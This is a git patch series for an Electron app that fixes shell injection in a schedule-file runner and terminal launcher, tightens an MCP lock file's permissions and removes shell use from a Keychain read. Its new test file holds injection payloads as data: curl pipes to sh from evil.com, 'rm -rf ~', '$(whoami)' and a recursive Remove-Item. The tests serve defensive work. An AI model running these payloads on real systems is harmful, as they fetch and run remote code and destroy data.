From 13a65b88674644b6a2b18f57e3b55e9c2b9899db Mon Sep 17 00:00:00 2001 From: Paul Joey Clark Date: Mon, 20 Apr 2026 15:30:34 +0100 Subject: [PATCH 1/5] Fix shell injection in scheduler (schedule-*.md frontmatter) Scheduler scanned every project's .claude/commands/schedule-*.md and string-concatenated YAML frontmatter values (model, max-budget-usd, allowed-tools, add-dirs, append-system-prompt) into a bash -c command. A malicious schedule file in any cloned repo gave code execution within 60 seconds of opening the project. Fix: buildScheduleCommand now returns an argv array; runScheduleCommand shell-quotes each token via a new quoteArgvForShell helper that dispatches on shell family (POSIX single-quote, PowerShell doubled-quote, cmd double-quote). Added input validation that rejects control chars in scalars and requires max-budget-usd to be numeric. Tests cover injection attempts as literal argv tokens, input-validation rejections, and a live-bash simulation of a malicious frontmatter. Co-Authored-By: Claude Opus 4.7 (1M context) --- main.js | 8 ++- schedule-ipc.js | 4 +- schedule-runner.js | 67 ++++++++++++++---- shell-profiles.js | 27 +++++++- test/schedule-injection.test.js | 119 ++++++++++++++++++++++++++++++++ 5 files changed, 206 insertions(+), 19 deletions(-) create mode 100644 test/schedule-injection.test.js diff --git a/main.js b/main.js index a24a1b2..8eea97b 100644 --- a/main.js +++ b/main.js @@ -1384,12 +1384,18 @@ app.whenReady().then(() => { scheduleIpc.ensureScheduleCreatorCommand(); // Shared runCommand for both cron scheduler and manual "run now" + // Accepts a claude-argv array (not a shell string) — values from untrusted schedule files + // MUST flow through here as argv so the shell quoter can escape them safely. const { spawn: cpSpawn } = require('child_process'); - function runScheduleCommand(cmd, cwd, name, onDone) { + const { quoteArgvForShell } = require('./shell-profiles'); + function runScheduleCommand(claudeArgv, cwd, name, onDone) { const globalSettings = getSetting('global') || {}; const profileId = globalSettings.shellProfile || SETTING_DEFAULTS.shellProfile; const profile = resolveShell(profileId); const shell = profile.path; + // Prepend the claude binary and shell-quote every token — this is the sole defense + // against injection from .claude/commands/schedule-*.md frontmatter. + const cmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); const args = shellArgs(shell, cmd, profile.args || []); log.info(`[schedule] Running: ${shell} ${args.join(' ')}`); diff --git a/schedule-ipc.js b/schedule-ipc.js index 7d83e66..c40909f 100644 --- a/schedule-ipc.js +++ b/schedule-ipc.js @@ -203,9 +203,9 @@ function init(log, runCommand) { }; const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); - runCommand(cmd, projectPath, `Manual run ${schedule.name}`, () => {}); + runCommand(claudeArgs, projectPath, `Manual run ${schedule.name}`, () => {}); log.info(`[schedule] Manual run triggered: ${schedule.name} (session ${sessionId})`); return { ok: true, sessionId }; diff --git a/schedule-runner.js b/schedule-runner.js index b8a51ef..035b737 100644 --- a/schedule-runner.js +++ b/schedule-runner.js @@ -146,24 +146,61 @@ function createScheduleSession(schedule) { return { sessionId, jsonlPath }; } -/** Build a claude CLI command string for a scheduled task. */ +// Reject frontmatter values that contain shell-dangerous characters. Defense-in-depth: +// the shell-quoter already prevents injection, but rejecting obvious metachars catches +// malformed or malicious schedule files early and keeps the command auditable in logs. +function isSafeScalar(s) { + if (s == null) return true; + const str = String(s); + // No control chars (except normal whitespace within append-system-prompt, handled separately) + if (/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(str)) return false; + return true; +} + +function assertSafe(field, value) { + if (!isSafeScalar(value)) { + throw new Error(`Schedule field "${field}" contains unsafe characters`); + } + return value; +} + +/** + * Build the argv for a scheduled claude invocation. + * Returns `{ claudeArgs: string[] }` — a plain argv array, with zero shell interpretation. + * The caller is responsible for shell-quoting when constructing a shell command string. + */ function buildScheduleCommand(sessionId, schedule) { - let cmd = `claude --resume "${sessionId}" -p "Run the scheduled task"`; - - const cli = schedule.cli; - cmd += ` --permission-mode "${cli['permission-mode'] || 'acceptEdits'}"`; - if (cli.model) cmd += ` --model "${cli.model}"`; - if (cli['max-budget-usd']) cmd += ` --max-budget-usd ${cli['max-budget-usd']}`; - const allowedTools = cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch'; - cmd += ` --allowedTools "${allowedTools}"`; - if (cli['append-system-prompt']) cmd += ` --append-system-prompt "${cli['append-system-prompt'].replace(/"/g, '\\"')}"`; + const cli = schedule.cli || {}; + const args = [ + '--resume', assertSafe('sessionId', sessionId), + '-p', 'Run the scheduled task', + '--permission-mode', assertSafe('permission-mode', cli['permission-mode'] || 'acceptEdits'), + ]; + + if (cli.model) args.push('--model', assertSafe('model', cli.model)); + if (cli['max-budget-usd']) { + const budget = String(cli['max-budget-usd']).trim(); + if (!/^\d+(\.\d+)?$/.test(budget)) { + throw new Error(`Schedule field "max-budget-usd" must be a number, got: ${cli['max-budget-usd']}`); + } + args.push('--max-budget-usd', budget); + } + args.push('--allowedTools', assertSafe('allowed-tools', cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch')); + if (cli['append-system-prompt']) { + // Allow newlines in prompt text, but not control chars other than \n, \r, \t + const prompt = String(cli['append-system-prompt']); + if (/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(prompt)) { + throw new Error('Schedule field "append-system-prompt" contains unsafe characters'); + } + args.push('--append-system-prompt', prompt); + } if (cli['add-dirs']) { - for (const dir of cli['add-dirs'].split(',').map(d => d.trim()).filter(Boolean)) { - cmd += ` --add-dir "${dir}"`; + for (const dir of String(cli['add-dirs']).split(',').map(d => d.trim()).filter(Boolean)) { + args.push('--add-dir', assertSafe('add-dirs', dir)); } } - return cmd; + return { claudeArgs: args }; } /** @@ -192,10 +229,10 @@ function startScheduler(log, runCommand) { log.info(`[schedule] Triggering: ${schedule.name} (${schedule.cron})`); try { const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); runningTasks.add(taskKey); - runCommand(cmd, schedule.projectPath, schedule.name, () => { + runCommand(claudeArgs, schedule.projectPath, schedule.name, () => { runningTasks.delete(taskKey); }); } catch (err) { diff --git a/shell-profiles.js b/shell-profiles.js index b39a710..a07a98a 100644 --- a/shell-profiles.js +++ b/shell-profiles.js @@ -160,6 +160,31 @@ function isWslShell(shellPath) { return base === 'wsl.exe' || base === 'wsl'; } +// Shell-quote a single argv token so it survives the shell verbatim. +// Dispatches on shell family — POSIX single-quote, PowerShell single-quote, or cmd double-quote. +function quoteArgForShell(shellPath, value) { + const s = value == null ? '' : String(value); + const base = path.basename(shellPath).toLowerCase(); + const isBashLike = base.includes('bash') || base.includes('zsh') || base === 'sh' || base === 'dash' || base === 'ksh' || base === 'fish' || base === 'nu' || isWslShell(shellPath); + const isPowerShell = base.includes('powershell') || base.includes('pwsh'); + + if (isBashLike) { + // POSIX: wrap in single quotes, escape embedded single quotes as '\'' + return "'" + s.replace(/'/g, "'\\''") + "'"; + } + if (isPowerShell) { + // PowerShell: single-quoted string, escape ' as '' + return "'" + s.replace(/'/g, "''") + "'"; + } + // cmd.exe: double-quote, escape " as \" and ^-escape shell metachars + const escaped = s.replace(/"/g, '\\"').replace(/([&|<>^%])/g, '^$1'); + return '"' + escaped + '"'; +} + +function quoteArgvForShell(shellPath, argv) { + return argv.map(a => quoteArgForShell(shellPath, a)).join(' '); +} + // Returns spawn args appropriate for the resolved shell function shellArgs(shellPath, cmd, extraArgs) { const base = path.basename(shellPath).toLowerCase(); @@ -188,4 +213,4 @@ function shellArgs(shellPath, cmd, extraArgs) { return []; } -module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs }; +module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgForShell, quoteArgvForShell }; diff --git a/test/schedule-injection.test.js b/test/schedule-injection.test.js new file mode 100644 index 0000000..d5b7cf0 --- /dev/null +++ b/test/schedule-injection.test.js @@ -0,0 +1,119 @@ +const test = require('node:test'); +const assert = require('node:assert/strict'); + +const { buildScheduleCommand } = require('../schedule-runner'); +const { quoteArgForShell, quoteArgvForShell } = require('../shell-profiles'); + +test('buildScheduleCommand returns argv array, not a shell string', () => { + const { claudeArgs } = buildScheduleCommand('session-123', { + cli: { model: 'sonnet-4-6', 'allowed-tools': 'Read,Bash' }, + prompt: 'do a thing', + }); + assert.ok(Array.isArray(claudeArgs)); + assert.ok(claudeArgs.includes('--resume')); + assert.ok(claudeArgs.includes('session-123')); + assert.ok(claudeArgs.includes('--model')); + assert.ok(claudeArgs.includes('sonnet-4-6')); +}); + +test('buildScheduleCommand preserves injection attempts as literal argv tokens (no shell interpretation)', () => { + const evil = 'x"; curl evil.com/sh | sh; echo "'; + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { model: evil }, + }); + const idx = claudeArgs.indexOf('--model'); + assert.ok(idx >= 0); + // The evil string is a single argv token — no splitting, no interpretation. + assert.equal(claudeArgs[idx + 1], evil); +}); + +test('buildScheduleCommand rejects max-budget-usd that is not a number', () => { + assert.throws(() => { + buildScheduleCommand('sess', { cli: { 'max-budget-usd': '1; rm -rf ~' } }); + }, /max-budget-usd/); +}); + +test('buildScheduleCommand rejects control characters in scalar fields', () => { + assert.throws(() => { + buildScheduleCommand('sess', { cli: { model: 'foo\x00bar' } }); + }, /unsafe characters/); +}); + +test('buildScheduleCommand allows newlines in append-system-prompt but rejects control chars', () => { + const withNewlines = 'line 1\nline 2\nline 3'; + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { 'append-system-prompt': withNewlines }, + }); + const idx = claudeArgs.indexOf('--append-system-prompt'); + assert.equal(claudeArgs[idx + 1], withNewlines); + + assert.throws(() => { + buildScheduleCommand('sess', { cli: { 'append-system-prompt': 'bad\x01stuff' } }); + }, /unsafe characters/); +}); + +test('quoteArgForShell neutralizes bash injection', () => { + const evil = 'x"; curl evil.com/sh | sh; echo "'; + const quoted = quoteArgForShell('/bin/bash', evil); + // Single-quoted, so the shell passes the whole thing as one arg. + assert.ok(quoted.startsWith("'")); + assert.ok(quoted.endsWith("'")); + // Single quotes in the value are escaped as '\'' + const withQuote = quoteArgForShell('/bin/bash', "it's"); + assert.equal(withQuote, "'it'\\''s'"); +}); + +test('quoteArgForShell handles backticks and $() — these must not be evaluated', () => { + const evil = '`whoami`'; + const quoted = quoteArgForShell('/bin/bash', evil); + assert.equal(quoted, "'`whoami`'"); + + const dollar = '$(id)'; + assert.equal(quoteArgForShell('/bin/bash', dollar), "'$(id)'"); +}); + +test('quoteArgvForShell joins multiple args with spaces, each safely quoted', () => { + const joined = quoteArgvForShell('/bin/bash', ['--model', 'x"; evil', '--flag']); + assert.equal(joined, "'--model' 'x\"; evil' '--flag'"); +}); + +test('quoteArgForShell produces PowerShell-safe quoting', () => { + const evil = "'; Remove-Item -Recurse /"; + const quoted = quoteArgForShell('/usr/bin/pwsh', evil); + // PowerShell: wrap in ' ... ' and double internal ' → ''. + // '; becomes '' and wrapped → ''';' + assert.equal(quoted, "'''; Remove-Item -Recurse /'"); +}); + +test('full simulated schedule command is safe under a malicious frontmatter', () => { + const evilSchedule = { + cli: { + 'permission-mode': 'acceptEdits', + model: 'x"; curl evil.com | sh; echo "', + 'allowed-tools': 'Bash,Read', + 'append-system-prompt': '$(whoami)', + 'add-dirs': '/tmp,/etc; touch /tmp/pwned', + }, + prompt: 'scheduled task', + }; + const { claudeArgs } = buildScheduleCommand('sess-id', evilSchedule); + const cmd = 'claude ' + quoteArgvForShell('/bin/bash', claudeArgs); + + // Walk the command and extract only the text outside single-quoted tokens. + // If any shell metacharacter appears in that "outside" text, injection leaked. + let outside = ''; + let inQuote = false; + for (let i = 0; i < cmd.length; i++) { + const c = cmd[i]; + if (c === "'") { inQuote = !inQuote; continue; } + if (!inQuote) outside += c; + } + // Outside of quoted tokens we should only see: `claude`, spaces, and at most the + // `\` from the POSIX `'\''` escape (which is always immediately re-enters a quote). + assert.ok(!/curl/.test(outside), `curl leaked outside quotes: "${outside}"`); + assert.ok(!/whoami/.test(outside), `whoami leaked outside quotes: "${outside}"`); + assert.ok(!/touch/.test(outside), `touch leaked outside quotes: "${outside}"`); + assert.ok(!/[;|&`$]/.test(outside), `shell metachar leaked outside quotes: "${outside}"`); + // Argv tokens survive as single-quoted strings. + assert.ok(cmd.includes(`'x"; curl evil.com | sh; echo "'`), `expected quoted model arg in: ${cmd}`); +}); From 6abba5920e27bac22132813fe537eaa6192e81fb Mon Sep 17 00:00:00 2001 From: Paul Joey Clark Date: Mon, 20 Apr 2026 15:41:54 +0100 Subject: [PATCH 2/5] Harden interactive claude spawn and MCP lock file MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit H2/H3: Apply the same argv-quoter fix to the interactive open-terminal path. worktreeName, addDirs, permissionMode, and appendSystemPrompt are now pushed into an argv array and shell-quoted per-shell before being concatenated into the -c command string. preLaunchCmd remains a raw shell snippet (by design — "e.g. aws-vault exec profile --"), but now rejects newlines to prevent hidden multi-line injection. Also removes the tempfile + $(cat '...') dance for appendSystemPrompt since the quoter handles multi-line strings directly. M4: MCP lock file now written with mode 0o600. Previously defaulted to 0o644 (world-readable), letting any local process read the auth token and issue MCP tool calls to the session. Co-Authored-By: Claude Opus 4.7 (1M context) --- main.js | 45 ++++++++++++++++++++++++++------------------- mcp-bridge.js | 4 +++- 2 files changed, 29 insertions(+), 20 deletions(-) diff --git a/main.js b/main.js index 8eea97b..80f9c07 100644 --- a/main.js +++ b/main.js @@ -26,7 +26,7 @@ const cleanPtyEnv = Object.fromEntries( ); // Shell profiles → shell-profiles.js -const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs } = require('./shell-profiles'); +const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgvForShell } = require('./shell-profiles'); const { startScheduler } = require('./schedule-runner'); @@ -1035,48 +1035,56 @@ ipcMain.handle('open-terminal', async (_event, sessionId, projectPath, isNew, se } }, 300); } else { - // Build claude command with session options - let claudeCmd; + // Build claude argv — each token is passed as a separate arg and shell-quoted + // below. This is the sole defense against injection from renderer-supplied + // session options (worktreeName, addDirs, permissionMode, appendSystemPrompt). + const claudeArgv = []; if (sessionOptions?.forkFrom) { - claudeCmd = `claude --resume "${sessionOptions.forkFrom}" --fork-session`; + claudeArgv.push('--resume', String(sessionOptions.forkFrom), '--fork-session'); } else if (isNew) { - claudeCmd = `claude --session-id "${sessionId}"`; + claudeArgv.push('--session-id', String(sessionId)); } else { - claudeCmd = `claude --resume "${sessionId}"`; + claudeArgv.push('--resume', String(sessionId)); } if (sessionOptions) { if (sessionOptions.dangerouslySkipPermissions) { - claudeCmd += ' --dangerously-skip-permissions'; + claudeArgv.push('--dangerously-skip-permissions'); } else if (sessionOptions.permissionMode) { - claudeCmd += ` --permission-mode "${sessionOptions.permissionMode}"`; + claudeArgv.push('--permission-mode', String(sessionOptions.permissionMode)); } if (sessionOptions.worktree) { - claudeCmd += ' --worktree'; + claudeArgv.push('--worktree'); if (sessionOptions.worktreeName) { - claudeCmd += ` "${sessionOptions.worktreeName}"`; + claudeArgv.push(String(sessionOptions.worktreeName)); } } if (sessionOptions.chrome) { - claudeCmd += ' --chrome'; + claudeArgv.push('--chrome'); } if (sessionOptions.addDirs) { - const dirs = sessionOptions.addDirs.split(',').map(d => d.trim()).filter(Boolean); + const dirs = String(sessionOptions.addDirs).split(',').map(d => d.trim()).filter(Boolean); for (const dir of dirs) { - claudeCmd += ` --add-dir "${dir}"`; + claudeArgv.push('--add-dir', dir); } } } if (sessionOptions?.appendSystemPrompt) { - // Write to a temp file and use shell substitution to avoid quoting issues - const tmpPrompt = path.join(os.tmpdir(), `switchboard-prompt-${sessionId}.md`); - fs.writeFileSync(tmpPrompt, sessionOptions.appendSystemPrompt); - claudeCmd += ` --append-system-prompt "$(cat '${tmpPrompt}')"`; + claudeArgv.push('--append-system-prompt', String(sessionOptions.appendSystemPrompt)); } + let claudeCmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); + + // preLaunchCmd is intentionally a raw shell snippet (docs: "e.g. aws-vault exec + // profile --") so we cannot quote it. Reject newlines to prevent multi-line + // injection that would hide a second command from log inspection. if (sessionOptions?.preLaunchCmd) { - claudeCmd = sessionOptions.preLaunchCmd + ' ' + claudeCmd; + const pre = String(sessionOptions.preLaunchCmd); + if (/[\r\n]/.test(pre)) { + return { ok: false, error: 'preLaunchCmd must not contain newlines' }; + } + claudeCmd = pre + ' ' + claudeCmd; } // Start MCP server for this session so Claude CLI sends diffs/file opens to Switchboard @@ -1387,7 +1395,6 @@ app.whenReady().then(() => { // Accepts a claude-argv array (not a shell string) — values from untrusted schedule files // MUST flow through here as argv so the shell quoter can escape them safely. const { spawn: cpSpawn } = require('child_process'); - const { quoteArgvForShell } = require('./shell-profiles'); function runScheduleCommand(claudeArgv, cwd, name, onDone) { const globalSettings = getSetting('global') || {}; const profileId = globalSettings.shellProfile || SETTING_DEFAULTS.shellProfile; diff --git a/mcp-bridge.js b/mcp-bridge.js index b531e01..c96359e 100644 --- a/mcp-bridge.js +++ b/mcp-bridge.js @@ -333,7 +333,9 @@ async function startMcpServer(sessionId, workspaceFolders, mainWindow, log) { runningInWindows: false, authToken, }); - fs.writeFileSync(lockFilePath, lockData, 'utf8'); + // mode 0o600: lock file contains the MCP auth token; default umask would make it + // world-readable, letting any local process connect to this session's MCP server. + fs.writeFileSync(lockFilePath, lockData, { encoding: 'utf8', mode: 0o600 }); const entry = { sessionId, From a0c0d9ee5b40286d289da23fceceb3dab9a87e20 Mon Sep 17 00:00:00 2001 From: Paul Joey Clark Date: Mon, 20 Apr 2026 16:10:13 +0100 Subject: [PATCH 3/5] Use execFileSync for Keychain read (avoid shell interpolation) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit readFromKeychain built a shell string with $USER interpolated via execSync. Normally $USER contains only a plain username, but it can be influenced by the launcher's environment (launchctl setenv, a .plist, a wrapper script), and any shell metacharacters would be interpreted before reaching `security`. Swap to execFileSync with an argv array. `security` receives the account name and service name as direct argv tokens — no shell, no string to escape. Co-Authored-By: Claude Opus 4.7 (1M context) --- claude-auth.js | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/claude-auth.js b/claude-auth.js index 9ac2a9f..f1442c2 100644 --- a/claude-auth.js +++ b/claude-auth.js @@ -2,7 +2,7 @@ // macOS: Keychain (primary) → ~/.claude/.credentials.json (fallback) // Linux/Windows: ~/.claude/.credentials.json only -const { execSync } = require('child_process'); +const { execFileSync } = require('child_process'); const fs = require('fs'); const path = require('path'); const os = require('os'); @@ -26,8 +26,12 @@ function readFromKeychain() { try { const service = getKeychainServiceName(); const user = process.env.USER || os.userInfo().username; - const json = execSync( - `security find-generic-password -a "${user}" -w -s "${service}"`, + // execFileSync (not execSync): argv is passed directly to `security` with no + // shell in between, so metacharacters in $USER or the service name cannot be + // interpreted. No string-escaping required. + const json = execFileSync( + 'security', + ['find-generic-password', '-a', user, '-w', '-s', service], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] } ).trim(); return JSON.parse(json); From 9b02b3663fee5dc73b98b123a0bcd6c2c9c80ea9 Mon Sep 17 00:00:00 2001 From: Paul Joey Clark Date: Mon, 20 Apr 2026 16:24:52 +0100 Subject: [PATCH 4/5] Simplify comments and use more human variable name --- main.js | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/main.js b/main.js index 80f9c07..2f6d1a4 100644 --- a/main.js +++ b/main.js @@ -1035,46 +1035,44 @@ ipcMain.handle('open-terminal', async (_event, sessionId, projectPath, isNew, se } }, 300); } else { - // Build claude argv — each token is passed as a separate arg and shell-quoted - // below. This is the sole defense against injection from renderer-supplied - // session options (worktreeName, addDirs, permissionMode, appendSystemPrompt). - const claudeArgv = []; + // Build claude command, using array to prevent accidental shell injection + const claudeArgs = []; if (sessionOptions?.forkFrom) { - claudeArgv.push('--resume', String(sessionOptions.forkFrom), '--fork-session'); + claudeArgs.push('--resume', String(sessionOptions.forkFrom), '--fork-session'); } else if (isNew) { - claudeArgv.push('--session-id', String(sessionId)); + claudeArgs.push('--session-id', String(sessionId)); } else { - claudeArgv.push('--resume', String(sessionId)); + claudeArgs.push('--resume', String(sessionId)); } if (sessionOptions) { if (sessionOptions.dangerouslySkipPermissions) { - claudeArgv.push('--dangerously-skip-permissions'); + claudeArgs.push('--dangerously-skip-permissions'); } else if (sessionOptions.permissionMode) { - claudeArgv.push('--permission-mode', String(sessionOptions.permissionMode)); + claudeArgs.push('--permission-mode', String(sessionOptions.permissionMode)); } if (sessionOptions.worktree) { - claudeArgv.push('--worktree'); + claudeArgs.push('--worktree'); if (sessionOptions.worktreeName) { - claudeArgv.push(String(sessionOptions.worktreeName)); + claudeArgs.push(String(sessionOptions.worktreeName)); } } if (sessionOptions.chrome) { - claudeArgv.push('--chrome'); + claudeArgs.push('--chrome'); } if (sessionOptions.addDirs) { const dirs = String(sessionOptions.addDirs).split(',').map(d => d.trim()).filter(Boolean); for (const dir of dirs) { - claudeArgv.push('--add-dir', dir); + claudeArgs.push('--add-dir', dir); } } } if (sessionOptions?.appendSystemPrompt) { - claudeArgv.push('--append-system-prompt', String(sessionOptions.appendSystemPrompt)); + claudeArgs.push('--append-system-prompt', String(sessionOptions.appendSystemPrompt)); } - let claudeCmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); + let claudeCmd = 'claude ' + quoteArgvForShell(shell, claudeArgs); // preLaunchCmd is intentionally a raw shell snippet (docs: "e.g. aws-vault exec // profile --") so we cannot quote it. Reject newlines to prevent multi-line From 2acc310a9045ee82995d7e854adabe46b23d63d7 Mon Sep 17 00:00:00 2001 From: Paul Joey Clark Date: Mon, 20 Apr 2026 16:35:17 +0100 Subject: [PATCH 5/5] Shorten comments to make them more readable --- claude-auth.js | 4 +--- main.js | 10 ++-------- mcp-bridge.js | 3 +-- schedule-runner.js | 9 ++------- shell-profiles.js | 3 +-- 5 files changed, 7 insertions(+), 22 deletions(-) diff --git a/claude-auth.js b/claude-auth.js index f1442c2..974bfc9 100644 --- a/claude-auth.js +++ b/claude-auth.js @@ -26,9 +26,7 @@ function readFromKeychain() { try { const service = getKeychainServiceName(); const user = process.env.USER || os.userInfo().username; - // execFileSync (not execSync): argv is passed directly to `security` with no - // shell in between, so metacharacters in $USER or the service name cannot be - // interpreted. No string-escaping required. + // execFileSync (no shell) so $USER can't be interpolated into a command string const json = execFileSync( 'security', ['find-generic-password', '-a', user, '-w', '-s', service], diff --git a/main.js b/main.js index 2f6d1a4..4f73b3e 100644 --- a/main.js +++ b/main.js @@ -1074,9 +1074,7 @@ ipcMain.handle('open-terminal', async (_event, sessionId, projectPath, isNew, se let claudeCmd = 'claude ' + quoteArgvForShell(shell, claudeArgs); - // preLaunchCmd is intentionally a raw shell snippet (docs: "e.g. aws-vault exec - // profile --") so we cannot quote it. Reject newlines to prevent multi-line - // injection that would hide a second command from log inspection. + // preLaunchCmd is raw shell by design (e.g. "aws-vault exec profile --") — block newlines only if (sessionOptions?.preLaunchCmd) { const pre = String(sessionOptions.preLaunchCmd); if (/[\r\n]/.test(pre)) { @@ -1389,17 +1387,13 @@ app.whenReady().then(() => { startProjectsWatcher(); scheduleIpc.ensureScheduleCreatorCommand(); - // Shared runCommand for both cron scheduler and manual "run now" - // Accepts a claude-argv array (not a shell string) — values from untrusted schedule files - // MUST flow through here as argv so the shell quoter can escape them safely. + // Shared runCommand for cron scheduler and "run now" — takes argv, not a shell string const { spawn: cpSpawn } = require('child_process'); function runScheduleCommand(claudeArgv, cwd, name, onDone) { const globalSettings = getSetting('global') || {}; const profileId = globalSettings.shellProfile || SETTING_DEFAULTS.shellProfile; const profile = resolveShell(profileId); const shell = profile.path; - // Prepend the claude binary and shell-quote every token — this is the sole defense - // against injection from .claude/commands/schedule-*.md frontmatter. const cmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); const args = shellArgs(shell, cmd, profile.args || []); diff --git a/mcp-bridge.js b/mcp-bridge.js index c96359e..6693667 100644 --- a/mcp-bridge.js +++ b/mcp-bridge.js @@ -333,8 +333,7 @@ async function startMcpServer(sessionId, workspaceFolders, mainWindow, log) { runningInWindows: false, authToken, }); - // mode 0o600: lock file contains the MCP auth token; default umask would make it - // world-readable, letting any local process connect to this session's MCP server. + // Create lockfile only readable by user (it contains the MCP auth token) fs.writeFileSync(lockFilePath, lockData, { encoding: 'utf8', mode: 0o600 }); const entry = { diff --git a/schedule-runner.js b/schedule-runner.js index 035b737..9b95da4 100644 --- a/schedule-runner.js +++ b/schedule-runner.js @@ -146,15 +146,10 @@ function createScheduleSession(schedule) { return { sessionId, jsonlPath }; } -// Reject frontmatter values that contain shell-dangerous characters. Defense-in-depth: -// the shell-quoter already prevents injection, but rejecting obvious metachars catches -// malformed or malicious schedule files early and keeps the command auditable in logs. +// Defense-in-depth: reject control chars in frontmatter values (shell-quoter is the real defense) function isSafeScalar(s) { if (s == null) return true; - const str = String(s); - // No control chars (except normal whitespace within append-system-prompt, handled separately) - if (/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(str)) return false; - return true; + return !/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(String(s)); } function assertSafe(field, value) { diff --git a/shell-profiles.js b/shell-profiles.js index a07a98a..38e4181 100644 --- a/shell-profiles.js +++ b/shell-profiles.js @@ -160,8 +160,7 @@ function isWslShell(shellPath) { return base === 'wsl.exe' || base === 'wsl'; } -// Shell-quote a single argv token so it survives the shell verbatim. -// Dispatches on shell family — POSIX single-quote, PowerShell single-quote, or cmd double-quote. +// Shell-quote one argv token per shell family function quoteArgForShell(shellPath, value) { const s = value == null ? '' : String(value); const base = path.basename(shellPath).toLowerCase();